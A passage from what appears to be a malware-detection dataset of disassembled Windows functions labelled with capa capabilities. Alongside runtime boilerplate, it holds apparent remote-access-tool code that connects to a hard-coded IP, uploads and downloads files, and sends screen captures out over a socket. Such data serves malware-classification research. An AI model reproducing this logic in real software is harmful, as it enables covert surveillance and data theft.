joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2fc4d90e0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4d9ae2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4fe108]
test eax, eax
je 0x2fc4d9b7a
lea rax, [0x2fc4fe0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4fe110]
mov qword [rbp - 8], rax
jmp 0x2fc4d9b5e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d9b52
cmp qword [rbp - 0x10], 0
je 0x2fc4d9b52
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d9b18
lea rax, [0x2fc4fe0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d9b7b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d9c80
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d9ca8
mov eax, 0
jmp 0x2fc4d9cf6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d9cd1
mov eax, 0
jmp 0x2fc4d9cf6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d9cf1
mov eax, 0
jmp 0x2fc4d9cf6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d9cfc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d9d7a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d9d71
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d9d71
mov rax, qword [rbp - 8]
jmp 0x2fc4d9d8f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d9d44
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d7d20
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4d8722
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4fd108]
test eax, eax
je 0x2fc4d87ba
lea rax, [0x2fc4fd0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4fd110]
mov qword [rbp - 8], rax
jmp 0x2fc4d879e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d8792
cmp qword [rbp - 0x10], 0
je 0x2fc4d8792
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d8758
lea rax, [0x2fc4fd0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d87bb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d88c0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d88e8
mov eax, 0
jmp 0x2fc4d8936
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d8911
mov eax, 0
jmp 0x2fc4d8936
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d8931
mov eax, 0
jmp 0x2fc4d8936
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x180691058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1806911df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x180691089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18069106f
add dl, dl
jne 0x180691096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1806910f6
xor eax, eax
add dl, dl
jne 0x1806910a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1806911ad
add dl, dl
jne 0x1806910b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1806910c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1806910d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1806910dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1806910ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18069107e
mov eax, 1
add dl, dl
jne 0x180691106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180691113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1806910fb
sub eax, ebx
mov ebx, 1
jne 0x18069114c
mov ecx, 1
add dl, dl
jne 0x18069112e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18069113b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180691123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18069107e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x180691168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180691175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18069115d
cmp eax, 0x7d00
jae 0x18069119b
cmp eax, 0x500
jb 0x180691196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18069107e
cmp eax, 0x7f
ja 0x18069119e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18069107e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1806911d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18069107e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001430
Capabilities:
Connect socket
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x1e0
mov rax, qword [0x140026050]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
lea rdx, [rsp + 0x30]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r8d, r8d
mov edi, 2
lea edx, [r8 + 1]
mov ecx, edi
call qword [sym.imp.WS2_32.dll_socket]
mov ecx, 0x269e
mov word [rsp + 0x20], di
mov rbx, rax
xor eax, eax
mov qword [rsp + 0x22], rax
mov dword [rsp + 0x2a], eax
mov word [rsp + 0x2e], ax
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.82.156.192.120
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x24], eax
nop dword [rax]
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x1400014b0
mov rax, rbx
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.1400073b0
mov rbx, qword [rsp + 0x1f0]
add rsp, 0x1e0
pop rdi
ret

Function at 0x1400014f0
Capabilities:
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x440
mov rax, qword [0x140026050]
xor rax, rsp
mov qword [rsp + 0x430], rax
mov rbx, rdx
xor edx, edx
mov rdi, rcx
lea r8d, [rdx + 2]
mov rcx, rbx
mov dword [rsp + 0x20], 0xffffffff
call fcn.140007f38
mov rcx, rbx
call fcn.140007e34
xor r8d, r8d
xor edx, edx
mov rcx, rbx
mov dword [rsp + 0x20], eax
call fcn.140007f38
xor r9d, r9d
lea rdx, [rsp + 0x20]
lea r8d, [r9 + 4]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x30], 0
call fcn.14000a190
lea rcx, [rsp + 0x30]
mov r9, rbx
mov edx, 1
mov r8d, 0x400
call fcn.140007838
test eax, eax
jle 0x1400015c0
nop dword [rax]
lea rdx, [rsp + 0x30]
xor r9d, r9d
mov r8d, eax
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [rsp + 0x30]
mov r9, rbx
mov edx, 1
mov r8d, 0x400
call fcn.140007838
test eax, eax
jg 0x140001590
mov rcx, rbx
call fcn.140008028
mov rcx, qword [rsp + 0x430]
xor rcx, rsp
call fcn.1400073b0
mov rbx, qword [rsp + 0x460]
add rsp, 0x440
pop rdi
ret
Function at 0x1400015f0
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x440
mov rax, qword [0x140026050]
xor rax, rsp
mov qword [rsp + 0x430], rax
mov rax, rdx
mov rbp, rcx
lea rdx, [0x140022664]
mov rcx, rax
call fcn.14000760c
xor edi, edi
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x3ff
mov dword [rsp + 0x20], edi
mov rsi, rax
mov byte [rsp + 0x30], dil
call fcn.14000a190
lea r8d, [rdi + 4]
lea rdx, [rsp + 0x20]
xor r9d, r9d
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
lea rdx, [rsp + 0x30]
xor r9d, r9d
mov r8d, 0x400
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
mov ebx, eax
test eax, eax
jle 0x1400016ba
nop dword [rax + rax]
lea rcx, [rsp + 0x30]
movsxd r8, ebx
mov r9, rsi
mov edx, 1
call fcn.140007a90
add edi, ebx
cmp edi, dword [rsp + 0x20]
jge 0x1400016ba
lea rdx, [rsp + 0x30]
xor r9d, r9d
mov r8d, 0x400
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
mov ebx, eax
test eax, eax
jg 0x140001680
mov rcx, rsi
call fcn.140008028
mov rcx, qword [rsp + 0x430]
xor rcx, rsp
call fcn.1400073b0
mov rbx, qword [rsp + 0x470]
add rsp, 0x440
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400016f0
Capabilities:
Read and send data from client to server
Read file on windows
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov rax, rsp
push rsi
push rdi
push r14
sub rsp, 0x500
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov rax, qword [0x140026050]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
mov rdi, rcx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov esi, eax
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebp, eax
mov r8d, eax
mov edx, esi
lea rcx, [rsp + 0x60]
call fcn.1400018e0
nop
mov byte [rsp + 0xf0], 0
xor edx, edx
mov r8d, 0x3ff
lea rcx, [rsp + 0xf1]
call fcn.14000a190
xor r14d, r14d
nop dword [rax + rax]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.DISPLAY
call qword [sym.imp.GDI32.dll_CreateDCA]
mov rbx, rax
lea rcx, [rsp + 0x60]
call fcn.1400021b0
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], r14d
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebp
mov r9d, esi
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.GDI32.dll_BitBlt]
lea rdx, [rsp + 0x60]
lea rcx, str.C:UsersPublic1.jpg
call fcn.140002280
lea rdx, [0x14002265c]
lea rcx, str.C:UsersPublic1.jpg
call fcn.14000760c
mov rbx, rax
xor edx, edx
lea r8d, [rdx + 2]
mov rcx, rax
call fcn.140007f38
mov rcx, rbx
call fcn.140007e34
mov dword [rsp + 0x54], eax
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call fcn.140007f38
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rsp + 0x54]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
mov r9, rbx
mov edx, 1
mov r8d, 0x400
lea rcx, [rsp + 0xf0]
call fcn.140007838
test eax, eax
jle 0x140001876
xor r9d, r9d
mov r8d, eax
lea rdx, [rsp + 0xf0]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
mov r9, rbx
mov edx, 1
mov r8d, 0x400
lea rcx, [rsp + 0xf0]
call fcn.140007838
test eax, eax
jg 0x140001840
mov rcx, rbx
call fcn.140008028
mov dword [rsp + 0x50], r14d
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
cmp dword [rsp + 0x50], 1
je 0x140001770
lea rcx, [rsp + 0x60]
call fcn.1400019a0
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.1400073b0
lea r11, [rsp + 0x500]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x140002e00
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x70
mov rax, qword [0x140026050]
xor rax, rsp
mov qword [rsp + 0x60], rax
xor r14d, r14d
mov rbp, r9
mov edi, r8d
mov esi, edx
mov rbx, rcx
cmp qword [rcx + 0x6b0], r14
je 0x140002e44
call fcn.140002260
mov qword [rbx + 0x6b0], r14
mov dword [rbx + 8], esi
mov dword [rbx + 0xc], edi
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
movzx edi, byte [rsp + 0xb0]
test rax, rax
mov qword [0x140027c88], rax
setne al
mov byte [rbx + 0x88], al
test al, al
jne 0x140002ece
test dil, dil
je 0x140002ece
call qword [sym.imp.KERNEL32.dll_AllocConsole]
call fcn.14000a99c
lea rcx, [rbx + 0x6a0]
lea r8, [0x14001b910]
lea rdx, [0x14001b918]
lea r9, [rax + 0x30]
call fcn.14000aba0
call fcn.14000a99c
lea rcx, [rbx + 0x6a8]
lea r8, [0x14001b920]
lea rdx, str.CONIN_
mov r9, rax
call fcn.14000aba0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [0x140027c88], rax
jmp 0x140002ed5
mov rax, qword [0x140027c88]
test rax, rax
je 0x140002eee
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
mov rax, qword [0x140027c88]
cmp byte [rbx + 0x88], r14b
je 0x140002f28
test dil, dil
jne 0x140002f28
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [rsp + 0x50]
test eax, eax
cmovs eax, r14d
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x54]
test eax, eax
cmovs eax, r14d
mov dword [rsp + 0x34], eax
jmp 0x140002f31
mov qword [rsp + 0x30], 0xffffffffffffffff
cmp byte [rsp + 0xb8], r14b
lea rax, [rsp + 0x48]
lea r9, [rsp + 0x30]
setne byte [rsp + 0x38]
cmp byte [rsp + 0xc0], r14b
mov qword [rsp + 0x28], rax
setne byte [rsp + 0x39]
cmp byte [rsp + 0xc8], r14b
lea r8, [0x1400030e0]
setne byte [rsp + 0x3a]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x40], rbp
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x90]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, [0x140027ac0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, qword [rbx + 0x6b0]
call qword [sym.imp.USER32.dll_GetDC]
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov rcx, rbx
mov qword [rbx + 0x6b8], rax
call fcn.140001b60
lea rcx, [0x140027ac0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ecx, ecx
call fcn.1400021d0
mov rax, qword [rbx + 0x6b0]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400073b0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x1400065a0
Capabilities:
Hide graphical window

Disassembly:
mov rcx, qword [0x140027af8]
jmp fcn.140002cc0

Function at 0x140007150
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x48
lea rcx, str.gdiplus.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.GdiplusStartup
mov rcx, rax
mov qword [0x140027d18], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140027d18]
lea rdx, str.GdiplusShutdown
mov qword [0x140027cb0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140027d18]
lea rdx, str.GdipLoadImageFromStream
mov qword [0x140027cb8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140027d18]
lea rdx, str.GdipGetImageWidth
mov qword [0x140027cc0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140027d18]
lea rdx, str.GdipGetImageHeight
mov qword [0x140027cc8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140027d18]
lea rdx, str.GdipCreateFromHDC
mov qword [0x140027cd0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140027d18]
lea rdx, str.GdipDrawImageRectI
mov qword [0x140027cd8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140027d18]
lea rdx, str.GdipDisposeImage
mov qword [0x140027ce0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140027d18]
lea rdx, str.GdipDeleteGraphics
mov qword [0x140027ce8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140027d18]
lea rdx, str.GdipGetImageEncodersSize
mov qword [0x140027cf0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140027d18]
lea rdx, str.GdipGetImageEncoders
mov qword [0x140027cf8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140027d18]
lea rdx, str.GdipCreateBitmapFromGdiDib
mov qword [0x140027d00], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140027d18]
lea rdx, str.GdipSaveImageToFile
mov qword [0x140027d08], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x20]
lea rcx, [0x140027d20]
mov qword [0x140027d10], rax
xor eax, eax
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], 1
call qword [0x140027cb0]
add rsp, 0x48
ret

Function at 0x140008570
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.1400083d8
Function at 0x2fc4d9200
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4d9c02
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4fe108]
test eax, eax
je 0x2fc4d9c9a
lea rax, [0x2fc4fe0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4fe110]
mov qword [rbp - 8], rax
jmp 0x2fc4d9c7e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d9c72
cmp qword [rbp - 0x10], 0
je 0x2fc4d9c72
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d9c38
lea rax, [0x2fc4fe0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d9c9b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d9da0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d9dc8
mov eax, 0
jmp 0x2fc4d9e16
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d9df1
mov eax, 0
jmp 0x2fc4d9e16
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d9e11
mov eax, 0
jmp 0x2fc4d9e16
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d8970
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4d9372
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4fd108]
test eax, eax
je 0x2fc4d940a
lea rax, [0x2fc4fd0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4fd110]
mov qword [rbp - 8], rax
jmp 0x2fc4d93ee
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d93e2
cmp qword [rbp - 0x10], 0
je 0x2fc4d93e2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d93a8
lea rax, [0x2fc4fd0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d940b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d9510
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d9538
mov eax, 0
jmp 0x2fc4d9586
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d9561
mov eax, 0
jmp 0x2fc4d9586
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d9581
mov eax, 0
jmp 0x2fc4d9586
